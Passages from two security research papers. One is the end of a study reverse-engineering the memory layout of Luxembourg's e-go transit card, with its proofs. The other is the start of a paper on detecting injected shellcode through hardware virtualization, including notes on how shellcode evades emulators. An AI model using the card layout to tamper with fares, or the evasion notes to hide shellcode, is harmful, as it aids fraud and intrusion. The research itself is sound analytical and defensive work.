sectors, which we will ignore for the rest of our analysis.

They are probably reserved for future extensions of the

e-go system.

Further inspection shows that the last line of each sec-

tor is constant (over all dumps). This is the 16 byte sector

key. Because the last lines of each of the sectors (except

the empty sectors) are equal, we can conclude that the

same key is used for all sectors.1

External attributes. The second step in our analysis is

to carve the external attributes. This step only revealed

the card ID. We can conclude that the other external at-

tributes are either not represented on the card or not at

a static location. Figure 8 shows for each sector type

which attributes were discovered with our tool. The card

ID, which is located in the shell sector in Figure 8, is de-

tected as follows. The output of our tool on the card ID

attribute consists of a number of intervals between bits 0

to 37 plus the interval 35 to 108. Clearly, the last interval

is too large to contain the card ID, so we can consider that

interval a false positive. We conclude that bits 0 to 37 are

1In order to not reveal sensitive data, we display keys that are dif-

ferent from those used in the e-go system.
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Shell sector
card-id

(0–31)

bcc card-id

(32–39)

seal

(176–239)

CRC

(240–255)

psec-ptr-A

(146–148)

psec-ptr-B

(149–151)

tsec-ptr

(165–167)

next-psec-ptr

(168–170)

Product sector
card type

(19–23)

rides left 2

(72–75)

CRC

(112–127)

rides left

(206–209)

exp-time

(221–231)

CRC

(240–255)

Transaction sectordate

(128–141)

time

(142–152)

CRC

(240–255)

CRC

(368–383)

reader id

(256–271)

date 2

(277–290)

time 2

(291–301)

Figure 8: Attributes located in the three sector types.

related to the card ID. Indeed, the MIFARE standard de-

scribes that identification numbers are hard-coded in the

first 32 bits (4 bytes). If we reverse these 4 bytes and in-

terpret them as a decimal number, we obtain the number

printed on the card. The fact that bits 32 to 37 relate to

the card ID is also consistent with the MIFARE standard

because bits 32 to 39 contain the checksum of the card

ID.

Internal attributes. The tool can be used to step

through a sequence of dumps and observe the changes

between consecutive dumps. In this way, one can step

through the “history” of a particular card and observe re-

curring patterns. This process indicates a periodicity in

the updates of the transaction sectors of the e-go card.

Successive validation events write to successive transac-

tion sectors, thereby cycling back from the fifth transac-

tion sector to the first. One would expect a similar pe-

riodicity in the product sectors, but that is not the case.

Writing to the product sectors occurs in an alternating

way between two selected sectors. Based on the hypoth-

esis that there is a notion of a “current” sector, we carve

for pointers with cycle lengths 2 to 7. By making a selec-

tion of those sequences of dumps that showed the cyclic

behaviour, we can locate a pointer to the currently active

transaction sector (see tsec-ptr in the shell sector of Fig-

ure 8). This 3-bit pointer has a cycle of length 5 from 000
to 100. In a similar way one obtains a pointer with cycle

2, located at bit 169. Inspection of dumps reveals that

this concerns a 3-bit pointer to the next active product

sector (next-psec-ptr, bits 168-170). Two other pointers

with cycle 2 are only revealed when carving well cho-

sen subsets of the collection of dumps. In the figure they

are labelled with psec-ptr-A and psec-ptr-B. When step-

ping through the dumps, it becomes clear that after each

validation event the values of next-psec-ptr and one of

psec-ptr-A or psec-ptr-B are swapped. When charging

the card, psec-ptr-A and psec-ptr-B change roles.

Cyclic external attributes. After having been able to

locate only a single static external attribute, we continue

by searching for dynamically stored external attributes.

By using cycle length 5, we can find two locations in

each of the transaction sectors related to the date of the

most recent validation In Figure 8 these locations are la-

belled with “date” and “date 2”. By stepping through a

sequence of dumps swiped on consecutive days, it be-

comes clear that the date field is a counter. It counts the

number of days since 1/1/1997. In our dump set the two

dates are always identical. In a similar way we can find

two fields related to the time of the most recent validation

event. They count the number of minutes since midnight.

The first and second time are different, but, surprisingly,

their difference is not constant, which would have indi-

cated a relation to the expiration time. The last attribute

that can be located in the transaction sector is the reader

ID. As explained, we use the license plate of the bus and

the location of the reader within the bus to identify each

card reader. By combining these two attributes we obtain

a new attribute that relates to the reader ID. Surprisingly,
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this new attribute does not occur in the dumps, but the

license plate attribute does. This means that all readers

in a given bus have the same id. When interpreting the

reader as a decimal number, one typically obtains num-

bers in the range from 1 to 150 for readers in a bus and

from 10150 to 10200 for readers in a train station. This

is consistent with carving for the attribute “bus-or-train”,

which points at the higher bits of the reader id.

These attributes were found by reducing cyclic at-

tributes to static attributes as described in Section 5. With

this approach an attribute of cycle 5 will change its value

only every 5 dumps. As a consequence, this attribute has

a rather slow convergence rate. Convergence can be im-

proved, however, by focusing on the active transaction

sector. In order to do this we created a new set of dumps,

each of which only contained the active transaction sec-

tor of the old dump. Carving for the static external at-

tributes in this new set of dumps results in the same find-

ings, but the attributes can be located with significantly

fewer dumps.

Using this approach we can easily locate three more

attributes in the product sectors: the card type, the num-

ber of rides left on the card and the expiration time of

the current product. A second field related to the number

of rides left was also located (rides left 2 in the figure),

which equals 12 minus rides left for 10-rides cards and 3

minus rides left for 1-ride cards.

Finding high entropy attributes. While using the

tool, one quickly observes that the diss function returns

intervals of varying widths sliding through the index set

of the dumps. Heuristically, one expects the width of

these sliding windows to be shorter over intervals cor-

responding to high-entropy attributes than over indexes

corresponding to low entropy attributes. Furthermore,

the step size or distance between two such windows is

expected to be smaller for high-entropy intervals.

The observation of short-step narrow sliding windows

led to the conjecture that the cards contain cryptographic

data.

To confirm the existence of high-entropy attributes, the

MD5 hash of the dumps was computed and added as an

attribute. The hash serves as a quick indicator for equal-

ity or inequality of two dumps and is a more robust ap-

proach to labeling distinct dumps with different attribute

values than simply enumerating all dumps in a set. Carv-

ing for this artificial MD5 attribute amounts to looking

for attribute values which change whenever the contents

of the dump change. The tool thus revealed an 80-bit

string in the shell sector. The same method applied to

dumps of the product and transaction sectors revealed

16-bit strings which only change when the data in the

corresponding sector changes.

Whereas an 80-bit string was expected to be a cryp-

tographic hash, the 16-bit strings were suspected to be

checksums such as CRCs. By trying out a list of com-

monly used CRCs to the data in the product and transac-

tion sectors, the CRC-16-ANSI with polynomial x16 +
x15 + x2 + 1 was found to produce the observed values.
This step led to the suspicion that a CRC might also

be part of the 80 bit string in the shell sector, which was

indeed found to be the case. The remaining 64 bits are

expected to be a cryptographic hash protecting the in-

tegrity of the card’s data.

Evaluation. Our tool performed quite well in this case

study. We located the attributes as displayed in Figure 8

and have been able to infer the encoding scheme for most

of them. On the other hand, we have not been able to lo-

cate all collected attributes. We did not find the date,

time and location of charging, the card charger id, the

bus number and the bus stop. Our experiments prove that

they are not stored in a static or cyclic way on the card.

We may assume that if the date and time of charging and

the card charger id were represented in the card’s mem-

ory, they would have been encoded in the same way as

the other dates, times and ids. A search of these encoded

values in the binary dumps did not give a hit. There-

fore, we conjecture that these attributes are not stored on

the card, not even at a dynamically determined location.

Given that a validated ride allows for unrestricted travel

through the whole country for two hours, there is also no

need to store the bus number and bus stop on the card.

As a consequence of carving for internal attributes we

have not only located four pointers, but we have also re-

verse engineered part of the dynamics of updating e-go

cards. The transaction sectors are written to cyclically.

They contain data related to the history of the card. The

current state of each of the products on the card is stored

in the product sectors. Every product is assigned to one

sector, except the currently active product. This product

is updated alternatingly in two sectors. This redundancy

is probably built in to keep a consistent product state even

if a transaction does not finish successfully.

More safeguards against update errors are found in the

frequent checksums that we have been able to locate. A

protection against intentional modification of the stored

data is the cryptographic seal in the shell sector.

Even though we found the majority of observed at-

tributes, there are still locations in the card’s memory

that we have not been able to assign a meaning to. Of

course, the current dump set provides no information on

the meaning of the constant (blue) bits in Figure 8. The

variant (red) bits either have to do with the internal orga-

nization of the card or with attributes that we did not or

could not observe.

With respect to convergence, we see that the dumps in

this case study behave slightly worse than the dumps in
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the idealized set from Section 7.2. Finding an attribute

requires roughly 12 dumps (or 5 bundles).

Occasionally, we incorrectly entered an attribute

value. The algorithms that we developed are not robust

against such mistakes, since a single modification in the

input can drastically change the output. In practice, how-

ever, such mistakes were quickly identified by regularly

performing experiments on a subset of the dump set, such

as all dumps belonging to a given card.

A very useful feature of our methodology is that in the

search for an attribute we do not presuppose a particular

encoding of that attribute. This allowed us to search for

the combination of license plate number and reader loca-

tion in order to find the reader ID. Similarly, we found a

rides left counter counting down and one that counts up

while searching for one attribute.

9 Conclusion and future work

We have defined the carving problem for attributed dump

sets as the problem of recovering the attribute mapping

and encoding of attributes in a dump. We have pro-

posed algorithms for recovering the attribute mapping

and proven their correctness. The first algorithm com-

putes the commonalities to determine the positions in a

dump that cannot be contained in the mapping. The sec-

ond algorithm computes subset-minimal dissimilarities

to give a lower-bound on the bits that need to be con-

tained in the attribute mapping. By combining these two

algorithms, a set of possible mappings is derived.

In order to validate our approach we have imple-

mented a prototype, called mCarve, with commonality

and dissimilarity algorithms. A case study performed on

data from the electronic fare collection system in Luxem-

bourg showed that mCarve is valuable in analyzing real-

world systems. Using mCarve, we have located more

than a dozen attributes on the e-go card as well as their

encoding. We have also partly reverse engineered the dy-

namics of updating e-go cards.

There are several research directions that remain to be

explored. To be able to understand the attribute values,

the encoding has to be recovered as well. In our case

study, we have recovered the encoding of attributes man-

ually, while automatic approaches should in some cases

be feasible. Heuristic approaches seem most viable, pos-

sibly approaches based on file carving techniques. Sec-

ondly, the robustness of our algorithms can be improved.

Currently, a small error in the data, due to, for instance, a

transmission error or a mistake in inputting the attribute

value will make the results unreliable. Although these

mistakes can be found by hand, an automatic way would

be preferable.

We would like to apply mCarve to other case stud-

ies. An interesting application would be the memory of

a cell phone. Our performance results show that we have

to optimize the implementation of our algorithms to an-

alyze cell phone dumps. Another use of mCarve will

be to analyze proprietary communication protocols. By

recording the data and applying our algorithms, we could

reconstruct their specification.
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A Proofs

Proof of Lemma 1. We show the first property by con-

tradiction. Assume that there exists an attribute a such

that f(a) � comm(a, S). Then there exists an index

i ∈ f(a) such that i �∈ common(a, S). It follows from
the definition of comm that there is a bundle that con-

tains bit strings s and s′ such that si �= s′i. However,

since f is an attribute mapping, index i ∈ f(a), and
vala(s) = vala(s

′), we have that si = s′i. Thus, f(a)
must be a subset of comm(a, S).
The second property follows from the fact that if we

extend an encoding, it remains an encoding. We know
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that e(vals(a)) = s|f(a) is an encoding for attribute

mapping f . By definition of attribute mapping, the map

e′(vals(a)) = s|f ′(a) is an encoding as long as for all

j ∈ f ′(a) we have sj = s′j if vala(s) = vala(s
′) and

e′ is injective. The former follows from the assumption

that j ∈ comm(a, S). The latter follows from the fact

that extending the range of the encoding maintains the

injectivity of it. Hence, f ′(a) �→ Ia is an attribute map-

ping.

Proof of Lemma 2. Let a ∈ A and let s, s′ ∈ S, such that
vala(s) �= vala(s

′). From the definition of an attribute

mapping and injectivity of encoding functions, we derive

that s|f(a) �= s′|f(a). Therefore, we can find i ∈ f(a),
such that si �= s′i, and thus f(a) satisfies the definition

of diss(a, S).

Proof of Lemma 3. We define Q = {p ∈ P | ∀p′ ∈
P : p′ ⊆ p =⇒ p′ = p} and prove that this is the

required set. From the definition of Q it follows directly

that Q is subset minimal.

The inclusion Q ⊆ P follows directly from Q ⊆ P .

For the converse, P ⊆ Q, we use the fact that strict

set inclusion on P(F ) is well-founded for finite F . Let

p ∈ P , then there exists p′ ∈ P , such that p′ ⊆ p. We

consider two cases: p′ ∈ Q and p′ �∈ Q. If p′ ∈ Q,

then from p′ ⊆ p it follows that p ∈ Q, as required.

In the second case, p′ �∈ Q, we use the definition of

Q to find p′′ ∈ P such that p′′ � p′. Again, we can

consider two cases: p′′ ∈ Q and p′′ �∈ Q. In the first

case, p′′ ∈ Q we have p′′ � p′ ⊆ p, so p ∈ Q, as

required. In the second case we can repeat this con-

struction to find p′′′ � p′′ � p′ ⊆ p. Given well-

foundedness, it will be impossible to create an infinite

sequence in this way. Therefore, there is a point where

the loop will be broken by finding p(k) ∈ Q, such that

p(k) � p(k−1) � . . . � p′ ⊆ p, which implies that

p ∈ Q.

Finally, we prove uniqueness. Assume that X and Y
are two subset-minimal sets with X �= Y andX = P =
Y . Without loss of generality, we may assume that there

exists x ∈ X , such that x �∈ Y . We derive a contradiction

and concludeX = Y as follows. If x ∈ X , then x ∈ Y .

From x �∈ Y , we find y ∈ Y , such that y � x. From

y ∈ Y , it follows that y ∈ X, so there exists x′ ∈ X
with x′ ⊆ y. Thus, we have x′ ⊆ y � x for x′, x ∈ X ,

which contradicts the assumption of subset minimality of

X .

Proof of Lemma 4. By Lemma 3, let T be the unique

subset-minimal set for which T = diss(a, S). We show

that T ⊆ diss(a, S′).

Let I ∈ T . Then by definition, ∀s, s′ ∈
S : (vala(s) �= vala(s

′) =⇒ ∃i ∈ I : si �= s′i). But

since S′ ⊆ S, the statement holds in particular for any

two dumps in S′. Thus I ∈ diss(a, S′).

Proof of Lemma 5. The inclusion

filter(diss(a, S), comm(a, S)) ⊆
filter(diss(a,R), comm(a, S)) follows from Lemma 4.

For the reverse inclusion, let I ∈
filter(diss(a,R), comm(a, S)) be an index set in

the filtration of diss(a,R) with respect to the common

set of the attribute a of the dumps in S.
Suppose towards a contradiction that I �∈

filter(diss(a, S), comm(a, S)). Then there must

be dumps s1, s2 ∈ S such that s1|I = s2|I , but

vala(s1) �= vala(s2).

Consider representatives r1, r2 ∈ R of s1 and s2
such that vala(r1) = vala(s1) �= vala(s2) = vala(r2).
Since I ⊆ comm(a, S), it follows that r1|I = s1|I ,
r2|I = s2|I , but vala(r1) �= vala(r2). This contradicts
I ∈ diss(a,R).

Proof of Theorem 2. By Lemma 5, it suf-

fices to prove smin(diss(a,R|comm(a,S))) =
smin(filter(diss(a,R), comm(a, S))).

The inclusion smin(diss(a,R|comm(a,S))) ⊆
filter(diss(a,R), comm(a, S)) holds, since

diss(a,R|comm(a,S)) ⊆ diss(a,R) and

smin(diss(a,R|comm(a,S))) ⊆ comm(a, S).

The inclusion diss(a,R|comm(a,S)) ⊇
smin(filter(diss(a,R), comm(a, S))) holds as fol-

lows. Let I ∈ smin(filter(diss(a,R), comm(a, S))).
Then I ∈ diss(a,R) and I ⊆ comm(a, S), thus

I ∈ diss(a,R|comm(a,S)).

The Lemma now follows by uniqueness of subset

minimal sets (Lemma 3) and the facts that the dissim-

ilarity sets and filters of dissimilarity sets are superset

closed.

Proof of Lemma 7. T is interval-subset-minimal by def-

inition. It is obvious that T ⊆ diss(a, S) ∩ In. Since

diss(a, S)∩In is interval-superset closed, it follows that

T ∩In ⊆ diss(a, S)∩In. Furthermore, for all i ∈ [0, n),
if iv(a, S)(i) exists, then iv(a, S)(i) ∈ T ∩ In.
Suppose towards a contradiction that T ∩ In �

diss(a, S) ∩ In. Then there exists I ∈ diss(a, S) ∩ In
such that I �∈ T ∩ In. Let I = [i0, i1] and con-

sider iv(a, S)(i0). By definition of iv(a, S), we have

iv(a, S)(i0) ⊆ I and we know that iv(a, S)(i0) ∈
T ∩ In. This contradicts I �∈ T ∩ In.

Proof of Theorem 3. We first prove correctness of the al-

gorithm and then compute its time complexity.

Correctness. Let k = maxj∈[1,|R|](kj)]. By

Lemma 7, to prove correctness of the algorithm, we need

to show that for any two dumps s, s′ ∈ R there exists an



USENIX Association  20th USENIX Security Symposium 121

index ind ∈ [i, i + k] such that sind �= s′ind. We show

this by iterating over the sorted list of dumps.

Dump s(1) differs from all other dumps within the

interval [i, k1] because it differs from s(2) within

this interval and the dump list is sorted. Assum-

ing that for all j < j0 dump s(j) differs from all

other dumps within the interval [i,max(k1, . . . , kj)]
we show that dump j0 differs from all other dumps

within the interval [i,max(k1, . . . , kj0)]. First s
(j0) dif-

fers from s(j) < s(j0) on [i,max(k1, . . . , kj0 )] since
[i,max(k1, . . . , kj)] ⊂ [i,max(k1, . . . , kj0)]. The

dumps s(j) > s(j0) differ from s(j0) within the inter-

val [i, kj0 ] because s
(j0) differs from s(j0+1) within this

interval and the dump list is sorted. Thus the algorithm

correctly computes iv(a,R)(i).
Complexity. The complexity of the algorithm is given

by the complexity to sort the dump set and the com-

plexity to compare adjacent dumps in the sorted list.

The bit-complexity for comparing the adjacent dumps

s(j), s(j+1) is kj . Thus, in the worst case, it is bounded

by n, the bit length of the dump. Thus iv(a,R)(i) can be
computed in time O((n − i)|R|+ (n− i)|R| log |R|) =
O((n− i)|R| log |R|).
If iv(a,R)(i) is computed for all i ∈ [0, n), the sort-

ing complexity for i > 0 can be lowered by taking ad-

vantage of the sorted list of dumps with respect to >i−1.

We merely need to perform a merge-sort for <i on two

sets given by the restrictions si−1 = 0 and si−1 = 1 and
ordered with respect to <i−1. This can be performed in

time O((n − i)|R|). By summing up the time it takes to

compute iv(a,R)(i) for i ∈ [0, n) we obtain the theo-

rem.
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Abstract

The availability of off-the-shelf exploitation toolkits for
compromising hosts, coupled with the rapid rate of
exploit discovery and disclosure, has made exploit or
vulnerability-based detection far less effective than it
once was. For instance, the increasing use of metamor-
phic and polymorphic techniques to deploy code injec-
tion attacks continues to confound signature-based de-
tection techniques. The key to detecting these attacks
lies in the ability to discover the presence of the injected
code (or, shellcode). One promising technique for do-
ing so is to examine data (be that from network streams
or buffers of a process) and efficiently execute its con-
tent to find what lurks within. Unfortunately, current ap-
proaches for achieving this goal are not robust to eva-
sion or scalable, primarily because of their reliance on
software-based CPU emulators. In this paper, we ar-
gue that the use of software-based emulation techniques
are not necessary, and instead propose a new framework
that leverages hardware virtualization to better enable the
detection of code injection attacks. We also report on
our experience using this framework to analyze a corpus
of malicious Portable Document Format (PDF) files and
network-based attacks.

1 Introduction

In recent years, code-injection attacks have become a
widely popular modus operandi for performing mali-
cious actions on network services (e.g., web servers and
file servers) and client-based programs (e.g., browsers
and document viewers). These attacks are used to deliver
and run arbitrary code (coined shellcode) on victims’
machines, often enabling unauthorized access and con-
trol of the machine. In traditional code-injection attacks,
the code is delivered by the attacker directly, rather than
already existing within the vulnerable application, as in
return-to-libc attacks. Depending on the specifics of the

vulnerability that the attacker is targeting, injected code
can take several forms, including source code for an in-
terpreted scripting-language, intermediate byte-code, or
natively-executable machine code [17].

Typically, though not always, the vulnerabilities ex-
ploited arise from the failure to properly define and re-
ject improper input. These failures have been exploited
by several classes of code-injection techniques, includ-
ing buffer overflows [24], heap spray attacks [7, 36], and
return oriented programming (ROP)-based attacks [3].
One prominent and contemporary example embodying
these attacks involves the use of popular, cross-platform
document formats, such as the Portable Document For-
mat (PDF), to help compromise systems [37].

Malicious PDF files started appearing on the Internet
a few years ago, and their rise steadily increased around
the same time that Adobe Systems published their PDF
format specifications [34]. Irrespective of when they
first appeared, the reason for their rise in popularity as
a method for compromising hosts is obvious: PDF is
supported on all major operating systems, it supports a
bewildering array of functionality (e.g., Javascript and
Flash), and some applications (e.g., email clients) render
them automatically. Moreover, the “stream objects” in
PDF allow many types of encodings (or “filters” in the
PDF language) to be used, including multi-level com-
pression, obfuscation, and even encryption.

It is not surprising that malware authors quickly re-
alized that these features can be used for nefarious pur-
poses. Today, malicious PDFs are distributed via mass
mailing, targeted email, and drive-by downloads [32].
These files carry an infectious payload that may come
in the form of one or more embedded executables within
the file itself1, or contain shellcode that, after successful
exploitation, downloads additional components.

The key to detecting these attacks lies in accurately
discovering the presence of the shellcode in network
payloads (for attacks on network services) or process
buffers (for client-based program attacks). This, how-
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ever, is a significant challenge because of the prevalent
use of metamorphism (i.e., the replacement of a set of
instructions by a functionally-equivalent set of different
instructions) and polymorphism (i.e., a similar technique
that hides a set of instructions by encoding—and later
decoding—them), that allows the shellcode to change its
appearance significantly from one attack to the next.

In this paper, we argue that a promising technique for
detecting shellcode is to examine the input—be that net-
work streams or buffers from a process—and efficiently
execute its content to find what lurks within. While this
idea is not new, we provide a novel approach based on
a new kernel, called ShellOS, built specifically to ad-
dress the shortcomings of current analysis techniques
that use software-based CPU emulation to achieve the
same goal (e.g., [6, 8, 13, 25, 26, 43]). Unlike these ap-
proaches, we take advantage of hardware virtualization
to allow for far more efficient and accurate inspection of
buffers by directly executing instruction sequences on the
CPU. In doing so, we also reduce our exposure to evasive
attacks that take advantage of discrepancies introduced
by software emulation.

The remainder of the paper is organized as follows.
We first present background information and related
work in §2. Next, we discuss the challenges facing
emulation-based approaches in §3. Our framework for
supporting the detection and forensic analysis of code
injection attacks is presented in §4. We provide a perfor-
mance evaluation, as well as a case study of real-world
attacks, in §5. Limitations of our current design are dis-
cussed in §6. Finally, we conclude in §7.

2 Background and Related Work

Early solutions to the problems facing signature-based
detection systems attempted to find the presence of mali-
cious code (for example, in network streams) by search-
ing for tell-tale signs of executable code. For instance,
Toth and Kruegel [38] applied a form of static analysis,
coined abstract payload execution, to analyze the exe-
cution structure of network payloads. While promising,
Fogla et al. [9] showed that polymorphism defeats this
detection approach. Moreover, the underlying assump-
tion that shellcode must conform to discernible structure
on the wire was shown by several researchers [19, 29, 42]
to be unfounded.

Going further, Polychronakis et al. [26] proposed the
use of dynamic code analysis using emulation techniques
to uncover shellcode in code injection attacks target-
ing network services. In their approach, the bytes off
the wire from a network tap are translated into assem-
bly instructions, and a simple software-based CPU em-
ulator employing a read-decode-execute loop is used to
execute the instruction sequences starting at each byte

offset in the inspected input. The sequence of instruc-
tions starting from a given offset in the input is called
an execution chain. The key observation is that to be
successful, the shellcode must execute a valid execution
chain, whereas instruction sequences from benign data
are likely to contain invalid instructions, access invalid
memory addresses, cause general protection faults, etc.
In addition, valid malicious execution chains will exhibit
one or more observable behaviors that differentiate them
from valid benign execution chains. Hence, a network
stream can be flagged as malicious if there is a single
execution chain within the inspected input that does not
cause fatal faults in the emulator before malicious be-
havior is observed. This general notion of network-level
emulation has proven to be quite useful, and has garnered
much attention of late (e.g., [13, 25, 41, 43]).

Recently, Cova et al. [6] and Egele et al. [8] extended
this idea to protect web browsers from so-called “heap-
spray” attacks, where an attacker coerces an application
to allocate many objects containing malicious code in or-
der to increase the success rate of an exploit that jumps
to locations in the heap [36]. These attacks are partic-
ularly effective in browsers, where an attacker can use
JavaScript to allocate many malicious objects [4, 35].
Heap spraying has been used in several high profile at-
tacks on major browsers and document readers. Several
Common Vulnerabilities and Exposure (CVE) disclo-
sures have been released about these attacks in the wild.
To the best of our knowledge, all the aforementioned ex-
ploit detection approaches employ software-based CPU
emulators to detect shellcode in heap objects.

Finally, we note that although runtime analysis of pay-
loads using software-based CPU emulation techniques
has been successful in detecting exploits in the wild [8,
27], the use of software emulation makes them suscepti-
ble to multiple methods of evasion [18, 21, 33]. More-
over, as we show later, software emulation is not scal-
able. Our objective in this paper is to forgo software-
based emulation altogether, and explore the design and
implementation of components necessary for robust de-
tection of code injection attacks.

3 Challenges for Software-based CPU
Emulation Detection Approaches

As alluded to earlier, prior art in detecting code injec-
tion attacks has applied a simple read-decode-execute ap-
proach, whereby data is translated into its corresponding
instructions, and then emulated in software. Obviously,
the success of such approaches rests on accurate software
emulation; however, the instruction set for modern CISC
architectures is very complex, and so it is unlikely that
software emulators will ever be bug free [18].
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As a case-in-point, the popular and actively developed
QEMU emulator [2], which employs more advanced em-
ulation techniques based on dynamic binary translation,
does not faithfully emulate the FPU-based Get Program
Counter (GetPC) instructions, such as fnstenv 2. Con-
sequently, some of the most commonly used code in-
jection attacks fail to execute properly, including those
encoded with Metasploit’s popular “shikata ga nai” en-
coder and three other encoders from its arsenal that rely
on this GetPC instruction to decode their payload. While
this may be a boon to QEMU users employing it for full-
system virtualization (as one rarely requires a fully faith-
ful fnstenv implementation for normal application us-
age), using this software emulator as-is for injected code
detection would be fairly ineffective. In fact, we aban-
doned our earlier attempts at building a QEMU-based de-
tection system for exactly this reason.

To address accurate emulation of machine instructions
typically used in code injection attacks, special-purpose
CPU emulators (e.g. nemu [28], libemu [1]) were
developed. Unfortunately, they suffer from a different
problem: large subsets of instructions rarely used by in-
jected code are skipped when encountered in the instruc-
tion stream. The result is that any discrepancy between
an emulated instruction and the behavior on real hard-
ware potentially allows shellcode to evade detection by
altering its behavior once emulation is detected [21, 33].
Indeed, the ability to detect emulated enviroments is al-
ready present in modern exploit toolkits.

Arguably, a more practical limitation of emulation-
based detection is that of performance. When this ap-
proach is used in network-level emulation, for example,
the overhead can be non-trivial since (i) the vast major-
ity of network streams will contain benign data, some of
which might be significant in size, (ii) successfully de-
tecting even non-sophisticated shellcode can require the
execution of thousands of instructions, and (iii) a sepa-
rate execution chain must be attempted for each offset in
a network stream because the starting location of injected
code is unknown.

To avoid these obstacles, the current state of practice is
to limit run-time analysis to the first n bytes (e.g., 64kb)
of one side of a network stream, to examine flows to
only known servers or from known services, or to termi-
nate execution after some threshold of instructions (e.g.,
2048) has been reached [25, 27, 43]. It goes without say-
ing that imposing such stringent run-time restrictions in-
evitably leads to the possibility of missing attacks (e.g.,
in the unprocessed portions of streams).

One might argue that more advanced software-based
emulation techniques such as dynamic binary transla-
tion [30] could offer significant performance enhance-
ments over the simple emulation used in current state-of-
the-art dynamic shellcode detectors. However, the per-

formance benefit of dynamic binary translation hinges
on the assumption that code blocks are translated once,
but executed many times. While this assumption holds
true with typical application usage, executing random
streams of data (as in network-level emulation) results in
short instruction sequences ending in a fault, rather than
a structured program flow. Furthermore, dynamic binary
translation still has the problem of emulation accuracy.

Lastly, it is common for software-based CPU em-
ulation techniques to omit processing of some exe-
cution chains as a performance-boosting optimization
(e.g., only executing instruction sequences that contain a
GetPC instruction, or skipping an execution chain if the
starting instruction was already executed during a previ-
ous execution chain). Unfortunately, such optimizations
are unsafe, in that they are susceptible to evasion. For in-
stance, in the former case, metamorphic code may evade
detection by, for example, pushing data representing a
GetPC instruction to the stack and then executing it.

begin snippet

0 exit:
1 in al, 0x7 ; Chain 1
2 mov eax, 0xFF ; Chain 2 begins
3 mov ebx, 0x30 ; Chain 2
4 cmp eax, 0xFF ; Chain 2
5 je exit ; Chain 2 ends
6 mov eax, fs:[ebx] ; Chain 3 begins

...

end snippet

Figure 1: Sample instruction sequence

In the latter case, consider the sequence shown in Fig-
ure 1. The first execution chain ends after a single priv-
ileged instruction. The second execution chain executes
instructions 2 to 5 before ending due to a conditional
jump to a privileged instruction. Now, since instructions
3, 4, and 5 were already executed in the second execu-
tion chain they are skipped (as a beginning offset) as a
performance optimization. The third execution chain be-
gins at instruction 6 with an access to the Thread Envi-
ronment Block (TEB) data structure to the offset speci-
fied by ebx. Had the execution chain beginning at in-
struction 3 not been skipped, ebx would be loaded with
0x30. Instead, ebx is now loaded with a random value
set by the emulator at the beginning of each execution
chain. Thus, if detecting an access to the memory loca-
tion at fs:[0x30] is critical to detecting injected code,
the attack will be missed.

4 Our Approach: SHELLOS

Unlike prior approaches, we take advantage of the ob-
servation that the most widely used heuristics for shell-
code detection exploit the fact that, to be successful, the
injected shellcode typically needs to read from memory
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(e.g., from addresses where the payload has been mapped
in memory, or from addresses in the Process Environ-
ment Block (PEB)), write the payload to some memory
area (especially in the case of polymorphic shellcode),
or transfer flow to newly created code [16, 22, 23, 25–
28, 41, 43]. For instance, the execution of shellcode of-
ten results in the resolution of shared libraries (DLLs)
through the PEB. Rather than tracing each instruction
and checking whether its memory operands can be clas-
sified as “PEB reads,” we allow instruction sequences to
execute directly on the CPU using hardware virtualiza-
tion, and only trace specific memory reads, writes, and
executions through hardware-supported paging mecha-
nisms.

Our design for enabling hardware-support of code in-
jection attacks is built upon a virtualization solution [12]
known as Kernel-based Virtual Machine (KVM). We use
the KVM hypervisor to abstract Intel VT and AMD-V
hardware virtualization support. At a high level, the
KVM hypervisor is composed of a privileged domain
and a virtual machine monitor (VMM). The privileged
domain is used to provide device support to unprivileged
guests. The VMM, on the other hand, manages the phys-
ical CPU and memory and provides the guest with a vir-
tualized view of the system resources.

In a hardware virtualized platform, the VMM only
mediates processor events (e.g., via instructions such
as VMEntry and VMExit on the Intel platform) that
would cause a change in the entire system state, such as
physical device IO, modifying CPU control registers, etc.
Therefore, it no longer emulates guest instruction execu-
tions as with software-based CPU emulation; execution
happens directly on the processor, without an interme-
diary instruction translation. We take advantage of this
design to build a new kernel, called ShellOS, that runs
as a guest OS using KVM and whose sole task is to de-
tect and analyze code injection attacks. The high-level
architecture is depicted in Figure 2.

4.1 The SHELLOS Interface

ShellOS can be viewed as a black box, wherein a buffer
is supplied to ShellOS by the privileged domain for in-
spection via an API call. ShellOS performs the anal-
ysis and reports (1) if injected code was found, (2) the
location in the buffer where the shellcode was found, and
(3) a log of the actions performed by the shellcode.

A library within the privileged domain provides the
ShellOS API call, which handles the sequence of ac-
tions required to initialize guest mode via the KVM
ioctl interface. One notable feature of initializing
guest mode in KVM is the assignment of guest phys-
ical memory from a userspace-allocated buffer. We
use this feature to satisfy a critical requirement — that

is, efficiently moving buffers into ShellOS for analy-
sis. Since offset zero of the userspace-allocated mem-
ory region corresponds to the guest physical address of
0x0, we can reserve a fixed memory range within the
guest address space where the privileged domain library
writes the buffers to be analyzed. These buffers are then
directly accessible to the ShellOS guest at the pre-
defined physical address.

The privileged domain library also optionally allows
the user to specify a process snapshot for ShellOS to
use as the default environment. The details about this
snapshot are given later in §4.5, but for now it is suf-
ficient to note that the intention is to allow the user to
analyze buffers in an environment as similar as possible
to what the injected code would expect. For example,
a user analyzing buffers extracted from a PDF process
may provide an Acrobat Reader snapshot, while one an-
alyzing Flash objects might supply an Internet Explorer
snapshot. While malicious code detection may typically
occur without this extra data, it provides a realistic envi-
ronment for our post facto diagnostics.

When the privileged domain first initializes
ShellOS, it completes its boot sequence (detailed
next) and issues a VMExit. When the ShellOS API
is called to analyze a buffer, it is copied to the fixed
shared region before a VMEnter is issued. ShellOS
completes its analysis and writes the result to the shared
region before issuing another VMExit, signaling that
the kernel is ready for another buffer. Finally, we build
a thread pool into the library where-in each buffer to be
analyzed is added to a work queue and one of n workers
dequeues the job and analyzes the buffer in a unique
instance of ShellOS.

4.2 The SHELLOS Kernel

To set up our execution environment, we initialize the
Global Descriptor Table (GDT) to mimic a Windows en-
vironment. More specifically, code and data entries are
added for user and kernel modes using a flat 4GB mem-
ory model, a Task State Segment (TSS) entry is added
that denies all usermode IO access, and a special en-
try that maps to the virtual address of the Thread En-
vironment Block (TEB) is added. We set the auxiliary
FS segment register to select the TEB entry, as done by
the Windows kernel. Therefore, regardless of where the
TEB is mapped into memory, code (albeit benign or ma-
licious) can always access the data structure at FS:[0].
This “feature” is commonly used by injected code to find
shared library locations, and indeed, access to this region
of memory has been used as a heuristic for identifying
injected code [28].

Virtual memory is implemented with paging, and mir-
rors that of a Windows process. Virtual addresses above
